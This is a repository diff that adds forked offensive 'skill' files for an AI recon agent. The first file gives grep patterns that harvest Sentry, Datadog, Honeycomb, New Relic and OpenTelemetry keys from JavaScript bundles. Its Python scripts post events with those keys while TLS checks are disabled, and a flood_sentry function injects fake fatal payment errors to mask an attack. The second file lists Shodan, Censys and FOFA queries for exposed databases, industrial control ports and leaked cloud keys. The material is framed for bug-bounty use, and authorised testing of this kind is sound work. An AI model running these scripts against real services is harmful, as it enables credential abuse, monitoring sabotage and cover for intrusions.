  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,394 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: monitoring-secrets-exposure
5
+ description: Detect and exploit exposed monitoring/observability credentials including Sentry DSN, OpenTelemetry keys, Datadog API keys, Honeycomb tokens, and similar secrets in JS bundles and HTTP responses
6
+ ---
7
+
8
+ # Monitoring & Observability Secrets Exposure
9
+
10
+ Monitoring SDKs (Sentry, Datadog, Honeycomb, OpenTelemetry, New Relic, Rollbar, Bugsnag, LogRocket) are intentionally initialized client-side — their credentials land in every JS bundle. These credentials are write-keys by design, but they allow arbitrary event injection into production monitoring pipelines, enabling alert fatigue attacks, incident masking, and metric poisoning.
11
+
12
+ **Critical mindset:** A monitoring secret is NOT just "a low-severity info leak." It is write access to the target's error/alerting/tracing infrastructure. During an active attack campaign, injecting noise into Sentry/Datadog can mask the real attack.
13
+
14
+ ---
15
+
16
+ ## STEP 1 — Extract Monitoring Credentials from JS Bundles
17
+
18
+ ```bash
19
+ # After downloading JS files to output/js_files/ (see javascript_analysis.md):
20
+
21
+ # === SENTRY ===
22
+ # Pattern: full DSN format
23
+ grep -roh 'https://[a-f0-9]\{32\}@o[0-9]\{4,12\}\.ingest\.sentry\.io/[0-9]\{4,12\}' \
24
+ output/js_files/ 2>/dev/null | sort -u | tee output/sentry_dsn.txt
25
+
26
+ # Pattern: split DSN (key and project ID stored separately)
27
+ grep -roh 'sentry[_-]\?key[^"'"'"']\{0,20\}["\`'"'"'][a-f0-9]\{32\}["\`'"'"']' \
28
+ output/js_files/ -i 2>/dev/null | head -10 >> output/sentry_dsn.txt
29
+ grep -roh '"dsn"[^"]\{0,10\}"[^"]\{10,120\}"' output/js_files/ -i 2>/dev/null >> output/sentry_dsn.txt
30
+
31
+ # Pattern: Sentry init call
32
+ grep -roh 'Sentry\.init[^}]\{20,300\}' output/js_files/ 2>/dev/null | head -5 >> output/sentry_dsn.txt
33
+
34
+ # === DATADOG ===
35
+ grep -roh 'DD_API_KEY[^"'"'"'`]\{0,10\}["\`'"'"'][a-zA-Z0-9]\{32,40\}["\`'"'"']' \
36
+ output/js_files/ -i 2>/dev/null | tee output/datadog_keys.txt
37
+ grep -roh '"clientToken"[^"]\{0,5\}"[a-z0-9]\{20,50\}"' \
38
+ output/js_files/ -i 2>/dev/null >> output/datadog_keys.txt
39
+ grep -roh 'applicationId[^"]\{0,10\}"[a-f0-9-]\{30,50\}"' \
40
+ output/js_files/ -i 2>/dev/null >> output/datadog_keys.txt
41
+
42
+ # === HONEYCOMB ===
43
+ grep -roh 'HONEYCOMB[_A-Z]*[^"'"'"'`]\{0,10\}["\`'"'"'][a-zA-Z0-9]\{20,40\}["\`'"'"']' \
44
+ output/js_files/ -i 2>/dev/null | tee output/honeycomb_keys.txt
45
+ grep -roh '"x-honeycomb-team"[^"]\{0,10\}"[^"]\{10,50\}"' \
46
+ output/js_files/ -i 2>/dev/null >> output/honeycomb_keys.txt
47
+
48
+ # === NEW RELIC ===
49
+ grep -roh 'NRAK-[A-Z0-9]\{42\}' output/js_files/ 2>/dev/null | tee output/newrelic_keys.txt
50
+ grep -roh '"licenseKey"[^"]\{0,10\}"[A-Za-z0-9]\{32,50\}"' \
51
+ output/js_files/ -i 2>/dev/null >> output/newrelic_keys.txt
52
+
53
+ # === ROLLBAR ===
54
+ grep -roh '"accessToken"[^"]\{0,10\}"[a-f0-9]\{32\}"' \
55
+ output/js_files/ -i 2>/dev/null | tee output/rollbar_keys.txt
56
+
57
+ # === OPENTELEMETRY / OTEL ===
58
+ grep -roh 'OTEL[_A-Z]*[^"'"'"'`]\{0,10\}["\`'"'"'][a-zA-Z0-9+/=]\{20,80\}["\`'"'"']' \
59
+ output/js_files/ -i 2>/dev/null | tee output/otel_keys.txt
60
+ grep -roh '"Authorization"[^"]\{0,10\}"[Bb]earer [a-zA-Z0-9._-]\{20,200\}"' \
61
+ output/js_files/ 2>/dev/null >> output/otel_keys.txt
62
+
63
+ echo "=== SUMMARY ==="
64
+ echo "Sentry DSNs: $(wc -l < output/sentry_dsn.txt 2>/dev/null || echo 0)"
65
+ echo "Datadog keys: $(wc -l < output/datadog_keys.txt 2>/dev/null || echo 0)"
66
+ echo "Honeycomb keys: $(wc -l < output/honeycomb_keys.txt 2>/dev/null || echo 0)"
67
+ echo "NewRelic keys: $(wc -l < output/newrelic_keys.txt 2>/dev/null || echo 0)"
68
+ echo "Rollbar keys: $(wc -l < output/rollbar_keys.txt 2>/dev/null || echo 0)"
69
+ ```
70
+
71
+ ---
72
+
73
+ ## STEP 2 — Validate Sentry DSN Write Access
74
+
75
+ **CRITICAL:** Always validate. A DSN present in JS does not guarantee the project is still active.
76
+
77
+ ```python
78
+ # tools/validate_sentry.py
79
+ import sys, json, urllib.request, urllib.error, ssl, time, uuid
80
+
81
+ ctx = ssl.create_default_context()
82
+ ctx.check_hostname = False
83
+ ctx.verify_mode = ssl.CERT_NONE
84
+
85
+ def validate_sentry_dsn(dsn):
86
+ """
87
+ DSN format: https://<key>@<host>/api/<project_id>
88
+ or: https://<key>@o<org>.ingest.sentry.io/<project_id>
89
+ """
90
+ import re
91
+ m = re.match(r'https://([a-f0-9]{32})@([^/]+)/(\d+)', dsn)
92
+ if not m:
93
+ print(f"[!] Cannot parse DSN: {dsn}")
94
+ return False
95
+ key, host, project_id = m.groups()
96
+
97
+ # Store endpoint (legacy, direct JSON) - most reliable
98
+ store_url = f"https://{host}/api/{project_id}/store/?sentry_key={key}"
99
+ event = {
100
+ "event_id": uuid.uuid4().hex,
101
+ "platform": "javascript",
102
+ "level": "info",
103
+ "message": "security-probe-validation",
104
+ "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime()),
105
+ "tags": {"probe": "authorized-security-test"},
106
+ "extra": {"researcher_note": "Bug bounty DSN validation - please rotate this key"}
107
+ }
108
+
109
+ try:
110
+ req = urllib.request.Request(
111
+ store_url,
112
+ data=json.dumps(event).encode(),
113
+ headers={"Content-Type": "application/json", "User-Agent": "sentry.javascript.browser/7.0.0"},
114
+ method="POST"
115
+ )
116
+ with urllib.request.urlopen(req, timeout=15, context=ctx) as r:
117
+ body = r.read().decode()
118
+ result = json.loads(body)
119
+ if "id" in result:
120
+ print(f"[CONFIRMED] DSN VALID - Write access confirmed!")
121
+ print(f" DSN: {dsn}")
122
+ print(f" Event ID accepted: {result['id']}")
123
+ print(f" Store URL: {store_url}")
124
+ return True
125
+ except urllib.error.HTTPError as e:
126
+ body = e.read().decode()
127
+ print(f"[ERROR {e.code}] {body[:200]}")
128
+ if e.code == 403:
129
+ print(" -> DSN exists but rate-limited or domain-restricted")
130
+ elif e.code == 404:
131
+ print(" -> Project does not exist (stale DSN)")
132
+ except Exception as ex:
133
+ print(f"[ERR] {ex}")
134
+ return False
135
+
136
+ if __name__ == "__main__":
137
+ # Read from extracted file
138
+ try:
139
+ with open("output/sentry_dsn.txt") as f:
140
+ for line in f:
141
+ line = line.strip()
142
+ if "https://" in line:
143
+ import re
144
+ dsns = re.findall(r'https://[a-f0-9]{32}@[^"\s]+/\d+', line)
145
+ for dsn in dsns:
146
+ validate_sentry_dsn(dsn)
147
+ except FileNotFoundError:
148
+ print("Run step 1 first to extract DSNs")
149
+ if len(sys.argv) > 1:
150
+ validate_sentry_dsn(sys.argv[1])
151
+ ```
152
+
153
+ ```bash
154
+ python3 tools/validate_sentry.py
155
+ # Or directly: python3 tools/validate_sentry.py "https://KEY@o12345.ingest.sentry.io/67890"
156
+ ```
157
+
158
+ ---
159
+
160
+ ## STEP 3 — Validate Datadog RUM Client Token
161
+
162
+ ```python
163
+ # tools/validate_datadog.py
164
+ import urllib.request, ssl, json
165
+
166
+ ctx = ssl.create_default_context()
167
+ ctx.check_hostname = False
168
+ ctx.verify_mode = ssl.CERT_NONE
169
+
170
+ def validate_datadog_rum(client_token, app_id, site="datadoghq.com"):
171
+ """Test Datadog RUM client token by sending a fake RUM event"""
172
+ url = f"https://browser-intake-{site}/api/v2/rum"
173
+
174
+ # RUM event payload format
175
+ payload = json.dumps({
176
+ "type": "rum",
177
+ "application": {"id": app_id},
178
+ "session": {"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "type": "user"},
179
+ "view": {"id": "test-view", "url": "https://probe.test/"},
180
+ "_dd": {"format_version": 2}
181
+ }).encode()
182
+
183
+ req = urllib.request.Request(
184
+ f"{url}?ddsource=browser&ddtags=probe:true&dd-api-key={client_token}",
185
+ data=payload,
186
+ headers={"Content-Type": "application/json"},
187
+ method="POST"
188
+ )
189
+ try:
190
+ with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
191
+ print(f"[{r.status}] Datadog RUM token valid: {client_token[:16]}...")
192
+ return True
193
+ except urllib.error.HTTPError as e:
194
+ print(f"[{e.code}] Datadog RUM: {e.read().decode()[:100]}")
195
+ return False
196
+ ```
197
+
198
+ ---
199
+
200
+ ## STEP 4 — Validate Honeycomb Key
201
+
202
+ ```python
203
+ # tools/validate_honeycomb.py
204
+ import urllib.request, ssl, json
205
+
206
+ ctx = ssl.create_default_context()
207
+ ctx.check_hostname = False
208
+ ctx.verify_mode = ssl.CERT_NONE
209
+
210
+ def validate_honeycomb(api_key, dataset="security-probe"):
211
+ """Send a test event to Honeycomb"""
212
+ url = f"https://api.honeycomb.io/1/events/{dataset}"
213
+ payload = json.dumps({
214
+ "probe": "authorized-security-test",
215
+ "timestamp": "2026-01-01T00:00:00Z"
216
+ }).encode()
217
+
218
+ req = urllib.request.Request(
219
+ url, data=payload,
220
+ headers={
221
+ "X-Honeycomb-Team": api_key,
222
+ "Content-Type": "application/json"
223
+ },
224
+ method="POST"
225
+ )
226
+ try:
227
+ with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
228
+ print(f"[{r.status}] Honeycomb key VALID: {api_key[:16]}...")
229
+ return True
230
+ except urllib.error.HTTPError as e:
231
+ if e.code == 401:
232
+ print(f"[401] Honeycomb key invalid/rotated")
233
+ elif e.code == 400:
234
+ print(f"[400] Honeycomb key valid (bad payload, key accepted): {api_key[:16]}...")
235
+ return True # 400 means auth passed
236
+ return False
237
+ ```
238
+
239
+ ---
240
+
241
+ ## STEP 5 — Assess Impact and Attack Chain
242
+
243
+ Once a monitoring credential is confirmed valid, assess the full impact:
244
+
245
+ ```bash
246
+ cat > tools/monitoring_impact_assessment.py << 'PYEOF'
247
+ """
248
+ For each confirmed monitoring credential, assess:
249
+ 1. Can we READ data? (some tokens are read+write)
250
+ 2. Can we FLOOD the queue? (DoS the monitoring pipeline)
251
+ 3. Can we INJECT fake critical alerts? (incident masking)
252
+ 4. Can we ENUMERATE org/project structure?
253
+ """
254
+
255
+ import urllib.request, urllib.error, ssl, json, sys
256
+
257
+ ctx = ssl.create_default_context()
258
+ ctx.check_hostname = False
259
+ ctx.verify_mode = ssl.CERT_NONE
260
+
261
+ def assess_sentry_read(auth_token, org_slug):
262
+ """
263
+ Sentry AUTH tokens (different from DSN) allow reading issues.
264
+ If we found an auth token (not just DSN), test read access.
265
+ """
266
+ url = f"https://sentry.io/api/0/organizations/{org_slug}/issues/"
267
+ req = urllib.request.Request(
268
+ url,
269
+ headers={"Authorization": f"Bearer {auth_token}", "User-Agent": "Python/3"}
270
+ )
271
+ try:
272
+ with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
273
+ issues = json.loads(r.read())
274
+ print(f"[READ ACCESS] Sentry issues: {len(issues)} returned")
275
+ for issue in issues[:3]:
276
+ print(f" - {issue.get('title','?')} ({issue.get('level','?')})")
277
+ except urllib.error.HTTPError as e:
278
+ print(f"[{e.code}] Read access denied: {e.read().decode()[:100]}")
279
+
280
+ def flood_sentry(dsn, count=100):
281
+ """
282
+ Proof of concept: flood Sentry with fake CRITICAL errors
283
+ WARNING: Only run in authorized environments
284
+ """
285
+ import re, uuid, time
286
+ m = re.match(r'https://([a-f0-9]{32})@([^/]+)/(\d+)', dsn)
287
+ if not m:
288
+ return
289
+ key, host, project_id = m.groups()
290
+ store_url = f"https://{host}/api/{project_id}/store/?sentry_key={key}"
291
+
292
+ success = 0
293
+ for i in range(count):
294
+ event = {
295
+ "event_id": uuid.uuid4().hex,
296
+ "platform": "javascript",
297
+ "level": "fatal",
298
+ "message": f"[PROBE-{i}] PaymentProcessor.crash() — Vault connection refused",
299
+ "timestamp": time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime()),
300
+ "exception": {
301
+ "values": [{
302
+ "type": "CriticalPaymentError",
303
+ "value": f"Database shard {i % 10} unreachable",
304
+ "stacktrace": {"frames": [
305
+ {"filename": "payment-processor.js", "lineno": i+1, "function": "processCard"}
306
+ ]}
307
+ }]
308
+ }
309
+ }
310
+ req = urllib.request.Request(
311
+ store_url, data=json.dumps(event).encode(),
312
+ headers={"Content-Type": "application/json"},
313
+ method="POST"
314
+ )
315
+ try:
316
+ with urllib.request.urlopen(req, timeout=5, context=ctx) as r:
317
+ success += 1
318
+ except Exception:
319
+ pass
320
+ print(f"Flooded {success}/{count} events successfully")
321
+ PYEOF
322
+ echo "Impact assessment script ready at tools/monitoring_impact_assessment.py"
323
+ ```
324
+
325
+ ---
326
+
327
+ ## Key Patterns to Look For
328
+
329
+ **Sentry DSN anatomy:**
330
+ - Full: `https://32hexchars@o{orgid}.ingest.sentry.io/{projectid}`
331
+ - Relay DSN: `https://32hexchars@relay.sentry.io/{projectid}` (self-hosted relay)
332
+ - Old format: `https://32hexchars:32hexchars@sentry.io/{projectid}`
333
+
334
+ **Datadog patterns:**
335
+ - Client Token: `pub{lowercase-alphanumeric 32+ chars}` (starts with "pub")
336
+ - Application ID: UUID format `xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx`
337
+ - API Key: 32 hex chars (admin-level, extremely sensitive)
338
+ - App Key: 40 hex chars
339
+
340
+ **Honeycomb patterns:**
341
+ - Ingest keys: `hcaik_` prefix (new format) or 32 hex chars (legacy)
342
+ - API endpoints: `api.honeycomb.io` or `api.eu1.honeycomb.io`
343
+
344
+ **OpenTelemetry credential indicators:**
345
+ - `OTEL_EXPORTER_OTLP_HEADERS` containing `Authorization=Basic` or `Authorization=Bearer`
346
+ - Basic auth in OTLP HTTP endpoint URL: `https://user:pass@collector.internal/`
347
+ - Custom headers with base64-encoded credentials
348
+
349
+ **New Relic:**
350
+ - License key: `NRAK-` followed by 42 alphanumeric chars
351
+ - Insert key: 32 hex chars (for custom events)
352
+ - Browser agent key: 32 hex chars
353
+
354
+ ---
355
+
356
+ ## Severity Assessment
357
+
358
+ | Credential | Write Impact | Read Impact | Severity |
359
+ |-----------|-------------|-------------|----------|
360
+ | Sentry DSN (write-only) | Event injection, alert flooding | None | MEDIUM |
361
+ | Datadog RUM token | RUM event injection | None | MEDIUM |
362
+ | Datadog API key (admin) | Full API access | Full read | CRITICAL |
363
+ | Honeycomb ingest key | Trace injection | None | MEDIUM |
364
+ | Honeycomb management key | Full CRUD | Trace data read | HIGH |
365
+ | New Relic license key | All event types | None | MEDIUM |
366
+ | OTEL Basic Auth credentials | Trace injection | None | MEDIUM-HIGH |
367
+
368
+ ---
369
+
370
+ ## Validation Requirements
371
+
372
+ 1. **Write test:** Confirm the credential accepts a probe event (HTTP 200/202 with event ID)
373
+ 2. **Confirm production project:** The project name, DSN format, and org ID should match the target
374
+ 3. **Confirm not revoked:** Some DSNs are left in bundles but revoked — write test proves it
375
+ 4. **Document evidence:** Save the full request/response pair showing acceptance
376
+
377
+ ---
378
+
379
+ ## False Positives
380
+
381
+ - **Test/sandbox DSNs:** Look for `environment: "test"` or `sentry_key=test` patterns — likely dev keys
382
+ - **404 on store endpoint:** Project deleted or DSN revoked — not reportable
383
+ - **403 domain restriction:** Sentry has "Allowed Domains" configured — event rejected but key valid
384
+ - **CI/CD monitoring keys:** Keys for GitHub Actions or build pipelines, not production app monitoring
385
+
386
+ ---
387
+
388
+ ## Pro Tips
389
+
390
+ 1. **Sentry DSN rotation:** When reporting, emphasize the key is still active. Rotation takes 5 minutes but companies often delay it.
391
+ 2. **Batch multiple monitoring systems:** Target applications often have 3+ monitoring SDKs (Sentry + Datadog + Honeycomb). Each is a separate finding.
392
+ 3. **Ingest endpoint variant:** Try both `https://sentry.io/api/` and `https://o{orgid}.ingest.sentry.io/api/` — some orgs use custom regions (US, EU, DE).
393
+ 4. **Don't flood:** Sending 1 probe event is sufficient proof. Flooding causes actual harm and undermines the report.
394
+ 5. **Correlation:** Check if the DSN org ID `o451871` appears in the `network_*.txt` browser captures — it will show real error submissions confirming the project is active in production.
@@ -0,0 +1,279 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # Shodan, Censys & Internet-Wide Recon
4
+
5
+ Passive attack surface discovery using search engines that index the internet: open ports, services, certificates, banners, and misconfigurations — without touching the target.
6
+
7
+ ## Install
8
+
9
+ ```bash
10
+ # Shodan CLI:
11
+ pip install shodan --break-system-packages
12
+ shodan init <YOUR_API_KEY> # get key from https://account.shodan.io
13
+
14
+ # Censys CLI:
15
+ pip install censys --break-system-packages
16
+ censys config # enter API_ID and API_SECRET from https://search.censys.io/account
17
+
18
+ # FOFA (Chinese internet scanner — great for Asia-Pacific targets):
19
+ pip install fofa --break-system-packages
20
+ # OR: use web interface at https://fofa.info
21
+
22
+ # Netlas (alternative):
23
+ pip install netlas --break-system-packages
24
+ netlas --api_key <KEY>
25
+
26
+ # BGP/ASN tools:
27
+ sudo apt-get install -y whois
28
+ pip install ipwhois --break-system-packages
29
+ ```
30
+
31
+ ---
32
+
33
+ ## Phase 1: ASN & IP Range Discovery
34
+
35
+ ```bash
36
+ # Find ASN for organization:
37
+ whois -h whois.radb.net -- '-i origin AS<number>'
38
+ whois <company_domain> | grep -i "asn\|origin\|netname\|inetnum"
39
+
40
+ # Convert ASN to IP ranges:
41
+ python3 -c "
42
+ from ipwhois import IPWhois
43
+ from ipwhois.net import Net
44
+ from ipwhois.asn import IPASN
45
+ # Get IP ranges for ASN:
46
+ import urllib.request, json
47
+ asn = 'AS15169' # Google example
48
+ url = f'https://api.bgpview.io/asn/{asn}/prefixes'
49
+ data = json.loads(urllib.request.urlopen(url).read())
50
+ for prefix in data['data']['ipv4_prefixes']:
51
+ print(prefix['prefix'])
52
+ "
53
+
54
+ # Shodan ASN search:
55
+ shodan search "asn:AS15169" --fields ip_str,port,org
56
+ shodan stats "asn:AS15169"
57
+
58
+ # Bulk IP range from ARIN/RIPE:
59
+ whois -h whois.arin.net "n + <org_name>"
60
+ ```
61
+
62
+ ---
63
+
64
+ ## Phase 2: Shodan — Core Queries
65
+
66
+ ```bash
67
+ # Basic host lookup:
68
+ shodan host <IP_ADDRESS> # all open ports, banners, location
69
+ shodan host <IP_ADDRESS> --history # historical data
70
+
71
+ # Search by organization:
72
+ shodan search "org:\"Target Company\"" --fields ip_str,port,data
73
+ shodan search "org:\"Target Company\" port:22" --fields ip_str,data
74
+
75
+ # Search by hostname/domain:
76
+ shodan search "hostname:target.com" --fields ip_str,port,hostnames
77
+ shodan search "ssl.cert.subject.cn:*.target.com" # wildcard SSL certs
78
+
79
+ # Search by IP range (CIDR):
80
+ shodan search "net:192.168.1.0/24" --fields ip_str,port,org
81
+
82
+ # Output formats:
83
+ shodan search "org:\"Target\"" --limit 100 --fields ip_str,port,transport -o results.csv
84
+ shodan download results.json.gz "org:\"Target\"" # download full result set
85
+ shodan parse results.json.gz --fields ip_str,port # parse downloaded results
86
+ ```
87
+
88
+ ---
89
+
90
+ ## Phase 3: Shodan — Service-Specific Queries
91
+
92
+ ```bash
93
+ # Exposed admin panels:
94
+ shodan search "org:\"Target\" http.title:\"admin\""
95
+ shodan search "org:\"Target\" http.title:\"Dashboard\""
96
+
97
+ # Default credentials:
98
+ shodan search "org:\"Target\" \"default password\""
99
+ shodan search "org:\"Target\" http.html:\"admin\" \"default\""
100
+
101
+ # Exposed databases:
102
+ shodan search "org:\"Target\" port:27017" # MongoDB
103
+ shodan search "org:\"Target\" port:6379" # Redis
104
+ shodan search "org:\"Target\" port:9200" # Elasticsearch
105
+ shodan search "org:\"Target\" port:5432" # PostgreSQL
106
+ shodan search "org:\"Target\" port:3306" # MySQL
107
+
108
+ # Exposed dev/staging:
109
+ shodan search "org:\"Target\" http.title:\"staging\""
110
+ shodan search "hostname:\"dev.target.com\" OR hostname:\"staging.target.com\""
111
+
112
+ # Git/config file exposure:
113
+ shodan search "org:\"Target\" http.html:\".git\""
114
+ shodan search "org:\"Target\" http.html:\"config.php\""
115
+
116
+ # Industrial / IoT:
117
+ shodan search "org:\"Target\" port:102" # Siemens S7
118
+ shodan search "org:\"Target\" port:502" # Modbus
119
+ shodan search "org:\"Target\" port:47808" # BACnet
120
+
121
+ # Specific banner content:
122
+ shodan search "org:\"Target\" \"server: apache/2.2\""
123
+ shodan search "org:\"Target\" product:nginx version:1.14"
124
+
125
+ # SSL certificate recon:
126
+ shodan search "ssl.cert.subject.cn:target.com"
127
+ shodan search "ssl.cert.issuer.cn:\"Let's Encrypt\" hostname:target.com"
128
+
129
+ # HTTP response body:
130
+ shodan search "org:\"Target\" http.html:\"internal_api_key\""
131
+ shodan search "org:\"Target\" http.html:\"aws_access_key\""
132
+ ```
133
+
134
+ ---
135
+
136
+ ## Phase 4: Censys — Core Queries
137
+
138
+ ```bash
139
+ # CLI searches (Censys v2 API):
140
+ censys search "target.com" --index-type hosts
141
+ censys search "target.com" --index-type certs
142
+
143
+ # Python API:
144
+ python3 -c "
145
+ from censys.search import CensysHosts
146
+ h = CensysHosts()
147
+ # Search by domain in TLS certificate:
148
+ for result in h.search('services.tls.certificates.leaf_data.subject.common_name: target.com', per_page=25):
149
+ print(result['ip'], result.get('services', []))
150
+ "
151
+
152
+ # Certificate transparency via Censys:
153
+ python3 -c "
154
+ from censys.search import CensysCertificates
155
+ c = CensysCertificates()
156
+ for cert in c.search('parsed.names: target.com', fields=['parsed.names', 'parsed.subject.common_name']):
157
+ print(cert)
158
+ "
159
+
160
+ # Find subdomains via SSL cert SAN:
161
+ censys search "services.tls.certificates.leaf_data.subject.common_name: *.target.com" \
162
+ --index-type hosts --fields "ip,services.port,services.service_name"
163
+ ```
164
+
165
+ ---
166
+
167
+ ## Phase 5: Certificate Transparency (Passive Subdomain Discovery)
168
+
169
+ ```bash
170
+ # crt.sh — largest CT log aggregator:
171
+ curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
172
+ python3 -c "import sys,json; [print(c['name_value']) for c in json.load(sys.stdin)]" | \
173
+ sort -u | grep -v "^\*"
174
+
175
+ # With subfinder (uses CT + Shodan + Censys):
176
+ subfinder -d target.com -silent
177
+
178
+ # amass passive (CT + multiple sources, no active DNS):
179
+ amass enum -passive -d target.com -o subdomains.txt
180
+
181
+ # Extract unique domains from CT output:
182
+ curl -s "https://crt.sh/?q=%.target.com&output=json" 2>/dev/null | \
183
+ python3 -m json.tool | grep "name_value" | \
184
+ sed 's/.*: "//;s/".*//' | tr ',' '\n' | sort -u > ct_subdomains.txt
185
+ ```
186
+
187
+ ---
188
+
189
+ ## Phase 6: FOFA Queries
190
+
191
+ ```bash
192
+ # FOFA uses different syntax (domain, ip, title, cert, etc.):
193
+ # Access via web: https://fofa.info
194
+
195
+ # CLI (unofficial):
196
+ python3 -c "
197
+ import requests, base64, os
198
+ api_key = os.environ['FOFA_KEY']
199
+ email = os.environ['FOFA_EMAIL']
200
+ query = 'domain=\"target.com\" && port=\"443\"'
201
+ q_b64 = base64.b64encode(query.encode()).decode()
202
+ url = f'https://fofa.info/api/v1/search/all?email={email}&key={api_key}&qbase64={q_b64}&fields=ip,port,title,host'
203
+ r = requests.get(url).json()
204
+ for item in r.get('results', []):
205
+ print(item)
206
+ "
207
+
208
+ # Useful FOFA queries:
209
+ # cert=\"target.com\" — by certificate
210
+ # title=\"Login\" && domain=\"target.com\" — login pages
211
+ # app=\"Apache\" && domain=\"target.com\" — Apache servers
212
+ # header=\"X-Powered-By: PHP\" — PHP apps
213
+ # body=\"wp-content\" — WordPress
214
+ ```
215
+
216
+ ---
217
+
218
+ ## Phase 7: Shodan Monitor & Alerts (Bug Bounty)
219
+
220
+ ```bash
221
+ # Set up alert for new IPs belonging to target:
222
+ shodan alert create "target_monitor" "org:\"Target Company\""
223
+ shodan alert list
224
+ shodan alert info <alert_id>
225
+
226
+ # Trigger scan on demand (requires credits):
227
+ shodan scan submit 192.168.1.0/24
228
+ shodan scan status <scan_id>
229
+
230
+ # Shodan trends (historical data):
231
+ shodan stats --history "org:\"Target\"" port
232
+ ```
233
+
234
+ ---
235
+
236
